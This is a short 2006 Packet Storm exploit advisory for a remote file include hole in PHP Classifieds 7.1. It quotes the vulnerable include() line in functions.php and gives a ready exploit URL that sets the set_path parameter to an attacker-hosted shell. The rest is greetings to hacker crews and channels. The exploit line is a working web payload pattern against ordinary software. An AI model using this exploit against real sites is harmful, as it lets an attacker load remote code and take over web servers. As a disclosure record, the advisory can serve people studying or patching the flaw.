PHPClassifieds7.1.txt

2006-10-24T00:00:00
ID PACKETSTORM:51273
Type packetstorm
Reporter Le CoPrA
Modified 2006-10-24T00:00:00

Description

                                        
                                            `=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
# PHP Classifieds 7.1 - Remote File Include Vulnerability  
  
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
# Download : http://softadmin.deltascripts.com/download_get.php?id=32  
  
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
# Bug in : functions.php  
  
# Vuln Code :  
  
include($set_path . '/admin/htmlMimeMail/htmlMimeMail.php');  
  
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
  
# Exploit :  
  
www.site.com/[path]/functions.php?set_path=|SH3LL|?  
  
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-  
  
# Discovered by : Le CoPrA  
  
# Mail To : Le.CoPrA@hotmail.com  
  
# Special Greetz FlYinG 2 || LovER BoY ||  
  
# Greetz4// alkasrgolden,3theaby geer Mohajer22, Qaher, Saudi HaCkRz, Black-Code, kOnDoR, AsbMay,HACKERS PAL, simo64, MR.wolF,Abdullah-00, cRiMiNaL NeT,020,Dark-Man, Dr.ExE ,egyptghost,KaBaRa,ToOoFA  
  
# Channel : wWw.TrYaG.cOm/vb ** WwW.D4Eg.orG ** WwW.kOnDoR4.Com/vb  
  
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
  
`